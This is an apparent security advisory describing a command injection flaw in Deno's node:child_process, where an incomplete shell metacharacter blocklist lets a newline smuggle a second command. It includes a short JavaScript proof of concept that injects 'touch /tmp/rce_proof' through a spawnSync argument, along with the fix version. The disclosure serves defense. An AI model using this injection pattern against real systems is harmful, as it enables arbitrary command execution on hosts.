Deno has a Command Injection via Incomplete shell metacharacter blocklist in node:child_process

發布日:2026/2/19修改日:2026/2/20

描述

## Summary A command injection vulnerability exists in Deno's `node:child_process` implementation. ## Reproduction ```javascript import { spawnSync } from "node:child_process"; import * as fs from "node:fs"; // Cleanup try { fs.unlinkSync('/tmp/rce_proof'); } catch {} // Create legitimate script fs.writeFileSync('/tmp/legitimate.ts', 'console.log("normal");'); // Malicious input with newline injection const maliciousInput = `/tmp/legitimate.ts\ntouch /tmp/rce_proof`; // Vulnerable pattern spawnSync(Deno.execPath(), ['run', '--allow-all', maliciousInput], { shell: true, encoding: 'utf-8' }); // Verify console.log('Exploit worked:', fs.existsSync('/tmp/rce_proof')); ``` Run: `deno run --allow-all poc.mjs` The file `/tmp/rce_proof` is created, confirming arbitrary command execution. ## Mitigation All users need to update to the patched version (Deno v2.6.8).
